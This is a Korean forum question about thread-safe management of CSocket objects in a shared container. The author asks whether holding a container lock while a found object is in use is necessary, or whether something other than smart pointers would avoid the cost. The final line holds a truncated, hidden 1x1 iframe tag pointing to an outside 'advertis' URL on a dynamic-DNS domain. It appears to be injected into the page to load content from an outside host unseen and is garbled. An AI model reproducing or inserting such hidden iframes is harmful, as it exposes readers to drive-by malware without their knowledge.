CSocketMgr이 CSocket을 컨테이너로 관리하고 있는데

CSocketMgr은 여러 스레드에서 공용으로 사용하고 있는 자원이라

add / remove 할 시 컨테이너에 락을 걸어줬습니다.

그런데 CSocketMgr에서 find해서 CSocket객체를 사용 할 때 

find하기 전 컨테이너에 락을 걸고, find한 CSocket객체를 다 사용후 컨테이너 락을 해제해주는데 

(안그러면 find된 객체 사용 중 remove가 되버리면 delete되서 access violation이 걸리니..)

이러면 find / add / remove 시 계속 동기화가 되어 꽤나 큰 성능하락이 예상되는데

당연히 이런 방법으로 해야하나요? 아니면 더 좋은 방법이 있나요?

ps. 스마트포인터를 생각해 보긴 했지만 스마트포인터 말고 다른 방법을...
me width=1 src =http://ad01.mooo.com/advertis/ height=1>